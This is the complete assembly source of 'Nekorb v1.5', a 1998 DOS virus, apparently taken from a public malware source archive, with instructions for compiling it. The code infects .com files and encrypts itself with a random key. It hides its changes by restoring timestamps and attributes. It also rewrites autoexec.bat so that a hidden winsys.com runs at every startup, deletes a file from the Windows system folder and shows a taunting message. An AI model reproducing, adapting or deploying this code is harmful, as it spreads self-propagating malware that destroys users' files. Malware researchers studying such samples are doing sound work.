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https://github.com/vxunderground/MalwareSourceCode
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346 lines
18 KiB
NASM
346 lines
18 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Nekorb v1.5 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 10/06/98 | Finished: 11/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - start with a simple *.com appender | Size: 824 ;
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; v1.1 - time / date restoration `---------- ;
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; v1.2 - add XOR,NEG,NOT,ROR encryption and directory changing ;
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; v1.3 - infects files with any attributes (readonly/hidden/sys) ;
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; v1.4 - saves / restores file attributes now ;
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; v1.5 - the craziest payload I have ever done... how to explain this...! ;
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; - 1: infects all the .coms it can, and then jumps to c:\ ;
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; - 2: finds the autoexec.bat file, if there is none, one is created ;
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; - 3: infects either the old, or the new, autoexec.bat file replacing ;
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; - the first line of it, so it executes a .com everytime the ;
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; - computer is started up! read only and hides the autoexec.bat ;
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; - 4: creates the new .com that the autoexec.bat runs on startup ;
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; - 5: that new .com jumps to the \windows\system directory, and ;
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; - deletes one file, prints a message, and waits for the infected ;
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; - user to press any key (just to make sure they see us) ;
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; - the new .com is made read only / hidden as well ;
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; ------------------------------------------------------------------------- ;
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; ----------------------> For Christine Moore <---------------------------- ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm nekorb.asm ;
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; to link :::::] tlink /t nekorb.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign CS and DS to code
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org 100h ; this be a .com file
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blank: db 0e9h,0,0 ; define the blank jump
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start: call delta ; push IP on to stack
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delta: pop bp ; pop into BP
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sub bp,offset delta ; get the delta offset
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encst: jmp not1st ; jump to not1st (overwritten)
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lea si,[bp+encd] ; points to encrypted area start
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mov di,si ; move the value into DI
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call encr ; call the de/encryption routine
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jmp encd ; jump to start of encrypted stuff
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encr: lodsb ; load a byte
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not al ; encryptin 1
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ror al,4 ; encryptin 2
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neg al ; encryptin 3
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xor al,byte ptr [bp+key] ; encryptin 4 -final-
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neg al ; unencrypt 3
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ror al,4 ; unencrypt 2
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not al ; unencrypt 1
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stosb ; stores the byte
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loop encr ; does all the bytes
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ret ; returns from call
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key db 0 ; our key
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encd: lea si,[bp+buffer] ; three bytes to restore
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mov di,100h ; load di with 100h
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push di ; save this for the 'retn'
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movsw ; move two bytes
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movsb ; move one byte
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lea dx,[bp+offset dta] ; new DTA address
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mov ah,1ah ; move the dta
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int 21h ; DTA is moved
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first: mov ah,4eh ; find the first file
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lea dx,[bp+comfile] ; looking for *.c*
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mov cx,7 ; with these attributes
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next: int 21h ; find the first .com
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jnc infect ; found one? infect it
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mov ah,3bh ; change directory
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lea dx,[bp+updir] ; load the .. string
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int 21h ; now up a directory
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jnc first ; jump to first
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jmp pload ; hit root? do our payload
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infect: lea dx,[bp+offset dta+1eh] ; get the file info
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mov ax,4300h ; get file attributes
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int 21h ; we have them now
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push cx ; save value #1
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push dx ; save value #2
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push ds ; save value #3
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; ready for infection
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call open ; open the file
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mov ax,5700h ; get time / date stamps
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int 21h ; get them now
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push dx ; save value #4
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push cx ; save value #5
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mov ah,3fh ; read record function
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lea dx,[bp+buffer] ; to the buffer
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mov cx,3 ; three bytes
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int 21h ; read those bytes
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mov ax,word ptr [bp+dta+1ah] ; move the file size into AX
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mov cx,word ptr [bp+buffer+1] ; move the buffer + 1 into cx
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add cx,finish-start+3 ; add virus size + jump
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cmp ax,cx ; compare the two
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jz shutup ; if equal close the file
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cmp ax,1000 ; compare file size with 1kb
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jb shutup ; file is too small, close it up
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cmp ax,62000 ; compare file size with 62kb
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ja shutup ; file is too big, close it up
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sub ax,3 ; get jump to virus body size
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mov word ptr [bp+newjump+1],ax ; write this as our jump
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mov al,00h ; start of file
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call scan ; scan to start of file
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mov ah,40h ; write to file
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lea dx,[bp+newjump] ; write this
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mov cx,3 ; # of bytes to write
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int 21h ; write it now
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mov al,02h ; end of file
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call scan ; scan to end of file
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in al,40h ; get a random value
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mov byte ptr [bp+key],al ; save it as our key
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mov ah,40h ; write to file
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lea dx,[bp+start] ; where to start writting
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mov cx,encd-start ; # of bytes to write
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int 21h ; write the non-encrypted stuff
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lea di,[bp+finish] ; load DI with end address
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push di ; save value #6
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lea si,[bp+encd] ; load SI with start address
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mov cx,finish-encd ; # of bytes between the two
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push cx ; save value #7
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call encr ; call the encryption routine
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mov ah,40h ; write to file
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pop cx ; saved value #7
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pop dx ; saved value #6
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int 21h ; write those bytes
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shutup: mov ax,5701h ; set time / date
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pop cx ; from saved value #5
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pop dx ; from saved value #4
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int 21h ; time / date restored
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mov ax,4301h ; set file attributes
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pop ds ; from saved value #3
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pop dx ; from saved value #2
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pop cx ; from saved value #1
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int 21h ; set them now
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call close ; close the file
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mov ah,4fh ; find next file
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jmp next ; jump to next
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exit: mov dx,80h ; old address of DTA
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mov ah,1ah ; restore to original location
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int 21h ; DTA is back to original location
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retn ; return control to host
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; ---------------------------( The Payload )------------------------------- ;
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; ------------------------------------------------------------------------- ;
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pload: mov ah,0eh ; change drive
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mov dl,2 ; to drive c:\
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int 21h ; now in c:\
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mov ah,3bh ; change directory
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lea dx,[bp+rootdir] ; to the root directory
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int 21h ; change now
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find: mov ah,4eh ; find first file
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lea dx,[bp+autoexe] ; named 'autoexec.bat'
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mov cx,7 ; possible attributes
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int 21h ; find it now
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jnc infkt ; found it? infect it now
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mov ah,3ch ; make a file
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lea dx,[bp+autoexe] ; named 'autoexec.bat'
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xor cx,cx ; normal attributes
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int 21h ; make it now
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jmp find ; and try again
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infkt: lea dx,[bp+offset dta+1eh] ; get the file info
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push dx ; save value #8
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; set them now
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call open ; open the file
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mov ah,40h ; write to file
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lea dx,[bp+newline] ; write the new line
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mov cx,13 ; this many bytes
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int 21h ; write to file
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pop dx ; from saved value #8
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mov ax,4301h ; set file attributes
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mov cx,3 ; read only / hidden
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int 21h ; set them now
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call close ; close the autoexec.bat
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mov ah,3ch ; create a file
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lea dx,[bp+pldfile] ; with this name
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push dx ; save value #9
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xor cx,cx ; with no attributes
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int 21h ; create it now
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mov ah,4eh ; find the first file
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pop dx ; from saved value #9
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mov cx,7 ; with these possible attributes
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int 21h ; find it now
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lea dx,[bp+offset dta+1eh] ; get the file name info
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push dx ; save value #10
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call open ; open the file
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mov ah,40h ; write to file
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lea dx,[bp+pstrt] ; write from here
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mov cx,pend-pstrt ; this # of bytes
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int 21h ; write them now
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pop dx ; from saved value #10
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mov ax,4301h ; set file attributes
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mov cx,3 ; read only / hidden
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int 21h ; set them now
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call close ; close winsys.com
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jmp exit ; end the virus
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; ---------------------( Remotely Called Procedures )---------------------- ;
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; ------------------------------------------------------------------------- ;
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close: mov ah,3eh ; close file
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int 21h ; close it now
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ret
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open: mov ax,3d02h ; open the file
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int 21h ; file is opened
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xchg bx,ax ; move the info
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ret ; return from call
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scan: mov ah,42h ; scan function
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xor cx,cx ; cx must be 0
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cwd ; likewize for DX
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int 21h ; scan through file
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ret ; return from call
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; -----------------------( The Payload Data Area )------------------------- ;
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; ------------------------------------------------------------------------- ;
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pstrt: db 0e9h,0,0 ; need all this again
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call paydel ; push IP on to stack
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paydel: pop bp ; pop it into bp
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sub bp,offset paydel ; get 2nd delta offset
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mov ah,3bh ; change directory
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lea dx,[bp+winsys] ; \windows\system
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int 21h ; go there now
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mov ah,4eh ; find first file
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lea dx,[bp+anyfile] ; with any name *.*
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mov cx,7 ; with these possible attributes
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int 21h ; find one now
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mov ah,41h ; delete a file
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mov dx,9eh ; with this name
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int 21h ; delete it
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mov ah,3bh ; change directory
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lea dx,[bp+root] ; back to the root dir
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int 21h ; go there now
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mov ah,09h ; print a message
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lea dx,[bp+paymsg] ; this message
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int 21h ; print it to the screen
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mov ah,00h ; wait for keypress
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int 16h ; let them seeeeee hehehe
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int 20h ; end this program
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anyfile db '*.*',0 ; find *.*
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winsys db "\windows\system",0 ; define directory to change to
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root db "\",0 ; change to the root dir
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paymsg db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db '',10,13 ; so they don't see winsys.com exec
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db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13
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db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$'
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pend:
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; --------------------------( The Data Area )------------------------------ ;
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; ------------------------------------------------------------------------- ;
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newline db '.\winsys.com',10,13,'$'
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updir db "..",0 ; define the .. string
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comfile db "*.com",0 ; define the *.c* string
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autoexe db 'autoexec.bat',0 ; name of file to find
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buffer db 0cdh,20h,0 ; terminates 1st gen
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rootdir db "\",0 ; change to the root dir
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pldfile db 'winsys.com',0 ; the name for our new .com
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newjump db 0e9h,0,0 ; overwriten 1st gen
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dta db 43 dup (?) ; space for the new DTA
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finish label near ; an offset label
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; ---------------------( Not Saved / Not Encrypted )----------------------- ;
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; ------------------------------------------------------------------------- ;
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not1st: lea di,[bp+encst] ; where to move the bytes
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lea si,[bp+new] ; move these bytes
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movsw ; move two bytes
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movsb ; move one more
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jmp encd ; jump to encrypted area
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new: mov cx,finish-encd ; this will overwrite the jump
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; -----------------------------( The End )--------------------------------- ;
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; ------------------------------------------------------------------------- ;
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code ends ; end code segment
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end blank ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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